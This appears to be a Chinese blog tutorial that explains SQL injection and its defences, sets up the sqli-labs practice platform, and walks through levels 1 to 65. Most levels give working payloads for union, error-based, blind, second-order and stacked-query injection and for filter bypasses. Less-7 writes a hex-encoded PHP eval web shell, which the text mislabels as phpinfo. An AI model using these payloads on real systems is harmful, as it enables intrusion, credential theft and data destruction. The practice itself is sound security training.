目录
一,了解SQL注入原理
当涉及到与数据库进行交互的应用程序时,SQL注入(SQL Injection)是一种常见的安全漏洞。SQL注入攻击发生时,恶意用户通过在应用程序的输入字段中插入恶意SQL代码,成功执行未经授权的数据库查询或篡改数据库的操作。SQL注入攻击的原理是利用应用程序对用户输入数据的处理不当。它通常发生在应用程序使用动态构建SQL查询的场景,其中应用程序将用户输入直接拼接到SQL查询语句中,而不对用户输入进行充分验证和转义。
1.什么是sql注入
SQL注入是一种常见的网络安全漏洞,指的是攻击者通过在应用程序的输入字段中插入恶意的SQL代码,成功执行未经授权的数据库查询或篡改数据库操作。
2.为什么要sql注入
攻击者利用SQL注入漏洞的目的通常是获取敏感信息、绕过身份验证、执行未授权的操作或破坏数据库的完整性。通过注入恶意的SQL代码,攻击者可以绕过应用程序的安全机制,直接与底层数据库进行交互,从而获取或修改数据,或者利用数据库的执行能力进行其他恶意操作。
3.怎样sql注入
SQL注入攻击的实施通常涉及以下步骤:
a. 识别目标:攻击者首先识别存在潜在SQL注入漏洞的目标应用程序。
b. 构建恶意输入:攻击者构建包含恶意SQL代码的输入数据,通常是在应用程序的输入字段中插入恶意脚本。
c. 注入恶意代码:攻击者将构建好的恶意输入发送给目标应用程序,以触发SQL查询。
d. 执行恶意查询:目标应用程序在处理恶意输入时,未能正确验证和转义用户输入,导致恶意SQL代码被执行。这可能导致未经授权的数据库查询、数据泄露、数据篡改或其他恶意操作。
e. 获取结果:攻击者可以通过观察应用程序的响应或利用错误消息来获取查询结果或其他敏感信息。
4.SQL注入攻击的一般过程
1. 攻击者识别目标应用程序中存在潜在的SQL注入漏洞。
2. 攻击者通过应用程序的输入字段(如表单、URL参数等)发送恶意的SQL代码。
3. 应用程序在构建SQL查询时,未对用户输入进行充分验证和转义。
4. 恶意SQL代码被成功插入到应用程序构建的查询中。
5. 数据库执行了包含恶意SQL代码的查询,导致未经授权的操作,如数据泄露、数据篡改、数据库服务器被攻击等。
以下用一个简单的示例,说明SQL注入攻击的原理:
假设有一个登录页面,用户在该页面输入用户名和密码进行身份验证。应用程序使用用户输入构建SQL查询,以检查用户名和密码是否匹配:
sql
SELECT * FROM users WHERE username = '<user_input_username>' AND password = '<user_input_password>'
如果应用程序在构建查询之前没有正确验证和转义用户输入,攻击者可以在用户名字段中输入恶意的SQL代码,例如:
sql
' OR '1'='1
在此示例中,恶意用户输入的SQL代码将导致查询条件始终为真,绕过了正常的身份验证检查。最终,应用程序将返回所有用户的记录,而不仅仅是匹配用户名和密码的用户。
5.防止SQL注入攻击可采取的措施
1. 使用参数化查询或预编译语句,而不是直接拼接用户输入到SQL查询中。
2. 对用户输入进行严格的验证和过滤,确保输入符合预期的格式和类型。
3. 对用户输入进行适当的转义或编码,以防止恶意代码的注入。
4. 最小化数据库用户的权限,限制其对数据库的操作能力。
5. 定期更新和维护应用程序的安全性,及时修补已知的漏洞。
理解SQL注入的原理和采取适当的安全措施是保护应用程序免受此类攻击的重要步骤。
二,搭建sql-lab
1.什么是sql-lab
SQL-Lab是一个互动式的学习环境或实践平台,旨在帮助用户学习和练习SQL查询语言。它通常提供一个虚拟的数据库环境,用户可以在其中执行SQL查询,并获得实时的反馈和结果。SQL-Lab是一个有助于学习和实践SQL查询语言的工具,它提供了一个安全的环境,让用户能够自由地编写、执行和调试SQL查询。无论是初学者还是有经验的开发人员,都可以通过SQL-Lab来提升他们的SQL技能。
SQL-Lab通常包含以下组件和功能:
1. 数据库管理:SQL-Lab提供管理数据库的功能,包括创建数据库、创建表格、定义表格结构和插入示例数据等。用户可以在这个环境中模拟和操作数据库。
2. SQL查询编辑器:SQL-Lab通常提供一个SQL查询编辑器,用户可以在其中编写和编辑SQL查询语句。这个编辑器通常具有语法高亮、自动补全和格式化等功能,以帮助用户编写准确的SQL代码。
3. 查询执行和结果展示:SQL-Lab可以执行用户编写的SQL查询,并显示查询结果。用户可以看到查询的输出,包括检索到的数据、查询影响的行数和执行时间等信息。
4. 查询历史和保存:SQL-Lab通常会记录用户执行的查询历史,以便用户可以随时回顾和重新执行之前的查询。有些SQL-Lab还提供保存查询的功能,以便用户可以将查询保存为文件或书签。
5. 数据可视化:一些SQL-Lab提供了数据可视化的功能,允许用户通过图表、图形和报表等方式以更直观的方式呈现查询结果。
6. 学习资源:SQL-Lab通常提供一些学习资源,如SQL教程、查询示例、解答和解析等。这些资源可以帮助用户学习SQL语法、查询技巧和最佳实践。
7. 挑战和练习:一些SQL-Lab还提供各种挑战和练习题目,供用户测试和巩固他们的SQL查询能力。
8.其他
SQLi-Labs是一个专门用于SQL注入练习的平台,它提供了各种不同类型的注入场景,包括但不限于以下几种:
1. 基于GET参数的注入:这种类型的注入是通过修改URL中的GET参数来进行的。攻击者可以尝试在GET参数中插入恶意的SQL代码,以执行未经授权的数据库查询或篡改数据。
2. 基于POST参数的注入:这种类型的注入是通过修改HTTP请求中的POST参数来进行的。攻击者可以在POST参数中注入恶意的SQL代码,从而实现与基于GET参数的注入相同的效果。
3. 基于Cookie的注入:某些应用程序可能会将用户的会话信息存储在Cookie中。攻击者可以尝试在Cookie值中注入恶意SQL代码,以获取敏感信息或执行未经授权的数据库操作。
4. 盲注注入(Blind Injection):这种类型的注入是在应用程序的响应中观察到的延迟或错误信息中进行的。攻击者可以通过在注入点上尝试不同的查询条件,通过观察应用程序的响应来推断数据库中的信息。
5. 堆叠注入(Stacked Queries Injection):这种类型的注入允许攻击者在单个请求中执行多个SQL查询。攻击者可以在注入点上插入多个SQL查询语句,以实现更复杂的攻击目的。
这些注入场景提供了不同的挑战和练习,帮助用户了解和熟悉不同类型的SQL注入漏洞,以及如何防止和修复这些漏洞。通过在SQLi-Labs上进行实际的注入练习,用户可以提升他们的安全意识和防御技能,从而更好地保护应用程序免受SQL注入攻击。
2.准备工作
a.安装PHPstudy https://www.xp.cn/
b.下载sqli-labs-master.zip https://github.com/Audi-1/sqli-labs
3.搭建过程
打开PHPstudy,开启Apache以及MySQL服务
安装所需软件否则无法启动
在"管理"打开网站
显示站点创建成功
进入根目录,将下载好的sqli-labs-master.zip解压在www文件夹下
验证MySQL是否安装成功
点击操作下打开文件夹
对应文件夹调出PowerShell框,输入 .\mysql.exe -u root -p 回车,出现下页面则成功
在www文件夹下找到sqli-labs-master/sql-connections/db-creds.ins进行编辑密码为上面phpstudy数据库面板改过密码新密码
在地址栏输入localhost:端口号/sqli-labs-master/ 回车后进入页面,完成搭建。
三,完成 SQLi-LABS题目
Less-1
1.提示你输入数字值的ID作为参数,我们输入?id=1
2.通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。
第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。
?id=-1'union select 1,2,3--+
-
查看表名称
group_concat函数:将查询到的多行结果连接成字符串
http://localhost/sqlilabs/practice/example1.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
-
查看列名
http://localhost/sqlilabs/practice/example1.php?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema ='sqlilabs' AND table_name='users' --+
-
查看字段
http://localhost/sqlilabs/practice/example1.php?id=-1' UNION SELECT 1,group_concat(username SEPARATOR '-'),group_concat(password SEPARATOR '-') FROM users --+
-
注释方式
-
# 号注释
-
%23 注释
-
--+ 注释
-
-
常用查询信息
-
database() # 在用的数据库名
-
user() # 用户信息
-
version() # 数据库版本信息
-
@@basedir # 数据库安装路径
-
@@version_compile_os # 操作系统版本
-
Less-2
数字型注入,不需要去闭合,给出payload:
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,database(),3
http://127.0.0.1/sqli/Less-2/?id=1 and 1=2 union select 1,(select group_concat(users.username) from users),3
Less-3
先对代码进行注入?id=1’ ,发现报错
通过对错误的提示可知查询语句是:
Select login_name, select password from table where id= (‘our input here’)
所以用?id=1′) –-+代码进行注入,发现可以成功的获得用户名和密码
Less-4
(1)?id=-1") union select 1,2,3 --+ (联合查询需要前面的语句报错,所以id赋值为-1)
可以看出2,3会回显在页面上
(2)构造语句查询数据库版本以及对应的数据库名:
?id=-1") union select 1,version(),database() --+
(3)构造语句爆出数据库表名:
?id=-1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database() --+
4)构造语句爆出users表中的字段名:
?id=-1") union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),database() --+
构造语句爆出username和password的数据:
?id=-1") union select 1,(select group_concat(username,0x3a,password) from security.users),database() --+
Less-5
进入
?id=1试试
可以看到页面回显正常。接着我们输入测试语句:
?id=1' and '1'='2
?id=-1' union select 1,2,3 --+
?id=-1' union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a --+
?id=-1' union select 1,count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1),0x7e,floor(rand(0)*2)) as a from information_schema.columns group by a --+
?id=-1' union select 1,count(*),concat(0x7e,(select id from emails limit 0,1),0x7e,floor(rand(0)*2)) as a from emails group by a --+
过关
Less-6
?id=1
这里学了一个新的报错方法,updatexml()函数报错注入。
updatexml()函数初步讲解
函数简介:updatexml()函数是对xml文档进行操作的函数。updatexml()从英文字面上来看是更新的意思。即updatexml()是更新xml文档的函数。
基础语法:
updatexml(目标xml文档,xml路径,更新的内容)
第一个参数:使用String格式,为XML文档对象的名称
第二个参数: XPath_string (Xpath格式的字符串),Xpath语法学习链接:XPath 语法 | 菜鸟教程 (runoob.com)
第三个参数: 使用String格式,替换查找到的符合条件的数据。
函数作用:改变xml文档中符合条件的节点的值。
updatexml()函数报错原理
在使用该函数进行报错的时候一般会去修改其第二个参数,通过构造非法格式的查询语句,来使其返回错误的信息,并将其更新出来。如果路径中(第二个参数)存在特殊符号 比如'~',就会报错 , 同时显示路径参数的内容,如果路径参数中包含函数 , 那么函数将会被执行 , 并将执行结果展示在报错内容中。
?id=1" and 1=2 union select 1,2,(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) ,0x7e),1)) – qwe
?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1)),3) --+
?id=1" and updatexml(1,concat(0x7e,(select id from emails limit 0,1)),3) --+
Less-7
?id=1
使用导出数据语句进行数据爆破,输入语句:
?id=1')) union select 1,database(),@@basedir into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\text.txt' --+
http://192.168.203.146/sqli-labs-master/less-7/?id=-1’)) union select 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e,3 into outfile ‘C:/phpstudy/PHPTutorial/WWW/sqli-labs-master/Less-7/7.php’ – qwe
通过上面的语句写入phpinfo
Less-8
先测试这里的闭合符,这里是正常页面,随后开始测试闭合符,这里测试得出闭合符为’,这里可以尝试布尔型盲注通过ascii码去猜数据库名,表名,字段名以及数据,但是也可以去尝试报错注入,这里尝试使用报错注入,但是这里我们发现并没有报错信息,随后我们就只能通过盲注去逐步猜解,我们可以先用length去猜解当前数据库名的长度,这里补充 mid是用来分割数值再取值的Mid(column,start,length) 这是函数的用法
以用burp suite来进行抓包
Less-9
?id=1' and if (length(database()=8,sleep(5),1) --+猜得库名长度为8;步骤通Less-8,改用方法为sleep延时操作
Less-10
同第九关,注意需要改单引号换成双引号
Less-11
进入厚为登录页面,输入不同账号密码会输出不同的结果
尝试用post参数去进行注入,在尝试过get传参注入后,果然,这里get参数不存在注入,尝试对登陆框注入,首先猜闭合符,其中’ 和 ‘)都是这样,然后我们继续用order by来猜测闭合符和猜查询字段数
用order by 1 – q得到
说明此处注入符为’,后续的操作也就是最简单的显错注入,方法参考Less-1
Less-12
这里与Less-11的不同点就是闭合符为”
后续操作与Less-11相似
Less-13
这里闭合符为‘) 其余与Less-11类似
Less-14
这里闭合符为”) 其余与Less-11类似
Less-15
这里一开始尝试用闭合符去注入的时候发现页面没有非正常回显,也用sleep函数试过了,都没有可以注入的迹象,然后可能是需要成功登录才能进行注入
这个时候我们使用万能密码登录
Less-16
和 less15 是一样的,同样的使用延时注入的方法进行解决。这里直接从
源代码中看到对 id 进行 (“id”)的处理。
uname=admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Sub
mit
正确的时候可以直接登录,不正确的时候延时 5 秒。
Less-17
填 Use Name: admin New Password:1‘ 进行测试
利用盲注进行注入:
查库:uname=admin&passwd=11'and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)#&submit=Submit
查表:uname=admin&passwd=11'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)#&submit=Submit
查列:uname=admin&passwd=11'and updatexml(1,concat(0x7e,(select column_name from information_schema,columns where table_name='users' limit 0,1)),1)#&submit=Submit
查字段:uname=admin&passwd=11'and updatexml(1,concat(0x7e,(select username,password from security.users limit 0,1)),1)#&submit=Submit
Less-18
账户与密码是根据第17题中所设置的密码,如果显示输入错误的话可以回到第17题从新设置账户和密码或者重置数据库,出现了一行ip地址和user—Agent证明登录成功
可以进行查询:
查库:' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1),'','')#
查表:' or updatexml(1,concat(0x7e,(select column_name from information_schema,columns where table_schema='security' limit 0,1)),1),'','')#
查列:' or updatexml(1,concat(0x7e,(select column_name from information_schema,columns where table_name='users' limit 0,1)),1),'','')#
查字段:' or updatexml(1,concat(0x7e,(select username,password from security.users limit 0,1)),1),'','')#
Less-19
和上一题类似,登录之后显示登录成功,并在页面处出现了一行Referer,通过对其源代码进行分析,发现本题和上一题一样,都是要对其进行闭合操作,参照第十八题的代码。
Less-20
这道题是cookie注入,先用admin admin进行登录测试 。
(此处学习使用 cookie editor 浏览器新插件cookie editor 插件下载)
同前题先登入,这里存在cookie注入,并且是'
闭合,使用联合查询进行注入
出现了security,按照上几题的思路对其表,列,字段进行查询方法相似
Less-21
(这里用到新工具: base64在线解码工具)
value是一行乱码,对其进行分析我们可以知道,这是base64加密过的信息,于是我们可以用base64在线解码工具对其进行解码,得出的信息是admin,再观察源码可得,该题的闭合方式是’),在bese64转换工具上先输入联合查询的语句,然后再加密成base64密文格式
将编号码的base64编码输入到cookie editor当中去,得到库名,其余同上题。
Less-22
登录后变成了21题。。。。
用cookie editor插件做题,value上可以看出还是使用了base64编码进行了处理,解码之后还是admin。我们通过观察源码可以得知,这道题是用’’,因此题目的解题过程和前一题基本一样,只是将’)换成’'即可
Less-23
输入?id=1,进行测试,出现如图,可以看出我们的登录账号和密码
然后可以用单引号’ 进行注释,发现报错
推断出这里可以进行注入,于是继续用–+的注释符来进行尝试,发现不行可以换用联合查询的方法
测试?id=1' union select 1,2,3; %00
?id=-1' union select 1,(group_concat(schema_name)),3 from information_schema.schemata;%00
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),3 or '1'='1
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag
?id=-1' union select 1,(select group_concat(flag4) from ctfshow.flag),'3
Less-24
随便注册zxcvb
输入admin时显示已经注册了
成功注册
注册一个 admin'#的账号,密码是123123。
注册用户时,数据库内添加数据语句:(login_create.php)
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
所以数据库内添加了一条数据,账号是 admin’#,密码是123123。
接下来登录该帐号后进行修改密码,修改为111111
修改密码时,数据库内更新数据语句:(pass_change.php)
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
带入数据就是:
$sql = "UPDATE users SET PASSWORD='111111' where username='admin' #' and password='admin原来的密码' ";
单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。此时修改的就是 admin 的密码。
此题用到了二次注入的原理,二次排序注入也成为存储型的注入,就是将可能导致sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发 sql 注入。
此例子中我们的步骤是注册一个 admin’#的账号,接下来登录该帐号后进行修改密码。此时修改的就是 admin 的密码。
Sql 语句变为 UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’ # ’ AND password=’ , 也 就 是 执 行 了 UPDATE users SET passwd=“New_Pass” WHERE username =‘admin’
Less-25
过滤了and
和or,
把字符串and
和or
替换成空,这里要注意一下,不一定是单独的and/or,如password中也有or,也是会被过滤替换的。我们用双写绕过+联合注入就行。
payload:
?id=-1' union select 1,group_concat(flag4s),3 from ctfshow.flags --+
爆破数据表:
?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+
爆破字段名:
?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+
爆破字段的值:
?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users --+
Less-25a
还是过滤了and
和or
,报错是固定的,不告诉具体哪里错。这题和上一题的区别就在于这题是整数注入,不用闭合。
payload:
?id=-1 union select 1,(select group_concat(flag4s) from ctfshow.flags),3
Less-26
先输入?id=1,结果正常,加上’进行注释,发现页面出现报错,说明可能存在漏洞可以注入,接下来我们用–+进行注释,页面依旧报错,而且下面的回显还不显示–+,再尝试一个比较不常用的注释符;%00,发现这次回显正常
观察源码我们可以得知,空格等符号全被替代,考虑用xml的方法进行注入,使用语句:
updatexml(1,concat(0x7e,(database())), 1)
发现爆出了数据库,用相同类似的方法可以得到表名
同理,爆字段名
updatexml(1,concat(0x7e,( select (group_concat(column_name)) from (infoorrmation_schema.columns)where (table_name =0x7573657273))), 1)
爆字段值
updatexml(1,concat(0x7e,(select( group_concat (concat_ws(0x7e,username,passwoorrd)))from (security.users))), 1)
Less-26a
不显示具体报错了,导致无法使用报错注入。观察源码可知sql 语句为 SELECT * FROM users WHERE id=('$id') LIMIT 0,1
相较于上一题这里多了一个)对其进行包裹,于是我们便在payload上加上),再次进行测试,回显正常。接下来的步骤就和前一题完全一致,分步对其数据库名,表名,字段名,字段值分别爆破,与上题目一致。
Less-27
过滤了select
和union
直接观察源码,发现union,select等都被注释掉了,大小写都被注释掉了,所以这里考虑使用大小写混写来进行绕过,可以看出数据正常返回,接下来还是老方法,依次对数据库,表名,字段名,值及进行爆破,这里只演示爆数据库,剩下的和之前一样。
Less-27a
和上题相比,闭合变成了双引号"
将前一题的‘换成"就行
Less-28
先测试一下,先上?id=1 测试,显示正常 ?id=1’再次测试,出现报错,说明可能存在注入漏洞
再看源码,发现被)进行了包裹,因此在后面加一个单括号)就可以了,然后和之前的操作相同。
Less-28a
来到关卡,先看源码,本题的对id的包裹和上题一样,都是用’进行包裹,再次观察源码可知,有部分的字符会被注释掉,所以这里我们和上题一样都使用’),剩余的步骤和上一题完全一样。
但是在这里可以尝试进行延时注入,
延时注入的代码是
?id=1‘) %a0 and %a0 if( length(database())=8, 1, sleep(5) ) --+
此时要确保前面的id值是可以查到的,不能使用一个不存在的id值。
Less-29
说有最好的防火墙保护 。。
29关是用jsp搭建的服务器,所以建议在电脑中安装Jspstudy来安装Jsp的环境。
对于本题白这里要输入两个参数id=1&id=3 接下来就是尝试寻找注入点,先在id=1后面加上’进行测试,发现回显报错,在id=3后面加入’后显示存在注入漏洞,打开数据库进行对比,发现第一个值的改变不影响我们数据的读取,所以我们只改变第二个数的值对其进行注入测试。长度测试,然后就用联合注入显示回显位置,接下来就是老方法。
Less-30
同29关一样,就是闭合方式变成了双引号"
payload:
?id=1&id=-2"union select 1,2,group_concat(flag4s) from ctfshow.flags--+
Less-31
观察源码发现包裹id的是") 发现报错,于是可以用–+进行注释 然后进行联合查询。
同29关一样,就是闭合方式变成了双引号+括号")
payload:?id=1&id=-2")union select 1,2,group_concat(flag4s) from ctfshow.flags--+
Less-32
输入id=1来进行测试,发现正常回显,再加一个单引号也没有报错,但是加了一个\对后面的语句进行了注释,在代码上加一个%df进行测试发现报错。用–+进行注释后回显正常,用–+进行注释,注释后回显正常,即对数据库,表名,列名等进行爆破
Less-33
使用PHP中的addslashes()函数,作用是addslashes()函数返回在预定义字符之前添加反斜杠的字符串。可知本题可以使用宽字节注入的方法
先用id=1来进行测试,发现回显正常,用单引号进行测试发现回显也是正常的,加一个%df,后面要用–+进行注释,不然会报错,用联合查询来查询位数,前面的一定要改为一个不存在的位数,对数据库名,表名等依次爆破
Less-34
Less-35
无闭合,数字型注入。用了addslashes()函数作为过滤,按照正常的步骤依次对数据库,表名等进行爆破即可。
Less-36
id被’进行包裹,所以我们还用id=1’进行尝试,发现被转译,于是我们可以用%df来将其注释掉,注意后面要用注释符–+来进行注释,返回正常,使用联合查询
Less-37
本关只是将过滤的函数进行了替换,替换成了mysql_real_escape_string()函数,同样,我们就可以按照第34关的方法来做即可。
可以用UTF-8的单引号’转化为UTF-16的单引号模式�,注意这里要用#进行注释
也可以用burpsuite进行抓包,发现有二次转译,将%转译成%25,因此我们在burpsuite上将25删除再forward即可爆出位置
Less-38
堆叠注入
用简单通俗的话来解释就是多条命令一起执行,比如在MySQL中我们知道在输入一个命令之后要用;表示一个指令的输入完成,那么我们就想是否可以在一句指令之后再加上一句指令,就比如 select ^ from users ; creat table caesar like users ;这个指令就是在查询users的同时再创建一个名为casear的表,可以利用这个漏洞进行注入
过观察源码来看发现id是由’进行包裹,于是我们使用id=1’
利用这种堆叠造成的漏洞进行注入,删除表的话就将create改为drop即可 。
Less-39
id并没有被包裹,于是还是和上一题一样用堆叠注入的方法进行操作
Less-40
id是由’)进行包裹,于是就将上一题的改为id=1’)即可,还是用堆叠注入的方法。
Less-41
id没有被包裹,输入id=1’进行试错的时候,39题会出现报错提醒而这道题没有,差别不大,那我们还是按照第39题的方法使用堆叠注入。
Less-42
这道题是由post传参,username用了mysqli_real_escape_string()这个函数,在之前的题目中我们见过这个函数,这个函数就是将’进行注释,但是我们又发现在password中什么也没有,所以我们猜测可以在password当中进行注入。我们首先肯定是要用admin来进行尝试
叠注入在password栏上,输入a'; create table caesar like users; #
,username可以随便输入,login后虽然出现了报错的界面,这时候打开MySQL进行查看,发现在数据库中我们已经将表caesar写入到数据库中,这下我们就可以利用这个漏洞进行注入,在注入完成后用drop table caesar; #将casear表删除即可。
Less-43
先看login源码,发现了password被’)进行了包裹,login源码,发现了password被’)进行了包裹,和上一题基本一样。
Less-44
先看源码。同第42关,这一关就是基于盲注,这里盲注主要是要没有报错信息,所以要采用盲注。这关没有报错信息。其余的操作没有区别。
Less-45
先看源码。这关发现和第43关是一样的,这一关也是基于盲注来进行测试的,也是没有报错信息,但是可以完全按照第43关的方法来做。
Less-46?
提示我们input parameter as SORT with numeric value
(以数字形式输入(sort)排序参数)
盲注法:
直接注行得通
?sort=3 and if((length(database())=8),1,sleep(5))--+
也可以利用上文提到的rand来盲注。
?sort=rand(left(database(),1)>'r')
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))
报错注入
可以拼接报错语句。
?sort=1 AND EXTRACTVALUE(1,(CONCAT(0x7e,(select group_concat(flag4s)from(ctfshow.flags)),0x7e)))-- +
也可以直接注入报错注入语句。
?sort=extractvalue(0x0a,concat(0x0a,(select group_concat(flag4s)from(ctfshow.flags))))-- +
ctfshow{7c933c76-fd43-47fd-83ec-f6b526b916c4}
此外,利用 procedure analyse 参数,也可以执行报错注入。
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(flag4s)from(ctfshow.flags)),0x7e))),1)
Less-47
和46关一样,但是是字符型,闭合是单引号'
。
payload:
?sort=1' AND EXTRACTVALUE(1,(CONCAT(0x7e,(select group_concat(flag4s)from(ctfshow.flags)),0x7e)))-- +
Less-48
标题写的很清楚,就是基于盲注的,所以这道题没有报错回显,我们也就不能利用报错注入进行做题了,只能使用延时注入,同上题。
Less-49
同48关一样,改成了字符型,闭合是单引号'
show上面没环境,本地打。
Less-50
?sort=1 AND EXTRACTVALUE(1,(CONCAT(0x7e,(select group_concat(flag4s)from(ctfshow.flags)),0x7e)))-- +
?sort=-1;insert into users(id,username,password) values ('17','Jay','I love 36D too')
Less-51
看源码,这道题还是用单引号进行闭合,所以和前题一样,使用单引号进行闭合。
Less-52
?sort=-1;insert into users(id,username,password) values ('17',(select database()),'I love 36D too')
Less-53
同52题是字符型,闭合是单引号'
。
Less-54
出现新题型和之前完成不一样。
题目要求我们传参id
,尝试一下。有次数限制,最多只能试10次。
首先寻找闭合方式,输入语句:
?id=1' and '1'='1
如果闭合方式找对了会回显信息,如果不对直接把单引号换成其他闭合符号就可以,此方法去测试闭合方式比较节省步骤更快捷。
回显出数据说明闭合方式就是单引号,再测试数据库列数以及显示位,输入语句:
?id=0' union select 1,2,3 --+
测试的时候直接使用 Union联合语句进行测试,这种方法可以同时测试列数和显示位,
?id=0' union select 1,database(),3 --+
选择有 Secret字样的表进行爆破,输入语句:
?id=0' union select 1,group_concat(secret_Z53V),3 from ql73xm21z3 --+
回显了字段值后尝试把其输入进入看看能不能成功进入,输入后页面回显:
Less-55
这一关和54关差不多,让我们在14步内完成以下操作:找到闭合方式、爆破数据库、爆破数据库中的表、爆破表中的列、爆破列中的字段值、在字段值中找到密钥。
先测试 ?id=1' and '1'='1
页面不正常回显,说明闭合方式不是单引号,我们测试以下双引号,输入语句:
?id=1" and "1"="1
还不正常继续换一个 ?id=1') and ('1')=('1
语句测试 ?id=1 and 1=1
?id=0 union select 1,2,3 --+
回显显示位,说明闭合方式就是单括号。
爆破列名
?id=0) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+
用Secret字样的表进行爆破,输入语句:
?id=0) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ts5mx55wd6' --+
成功爆破字段值将其输入成功
Less-56
闭合方式和54关不一样,闭合方式为 ') ,其他都一样
Less-57
只是闭合方式和54关不一样,闭合方式为双引号,其他都一样
Less-58
无显示位,使用报错注入,闭合方式为单引号
Less-59
闭合方式为整型,其余和58关一样使用报错注入
Less-60
闭合方式为 ") ,其余都和58关一样使用报错注入
Less-61
闭合方式为 ')) ,其余都和58关一样使用报错注入
Less-62
无报错回显,无论输入的对与错页面只会回显一种结果,所以这一关中我们使用时间延迟盲注,注入点为 ') 。
Less-63
闭合方式为单引号,其余和62关一样
Less-64
闭合方式为 )) ,其余和62关一样
Less-65
闭合方式为 ") ,其余和62关一样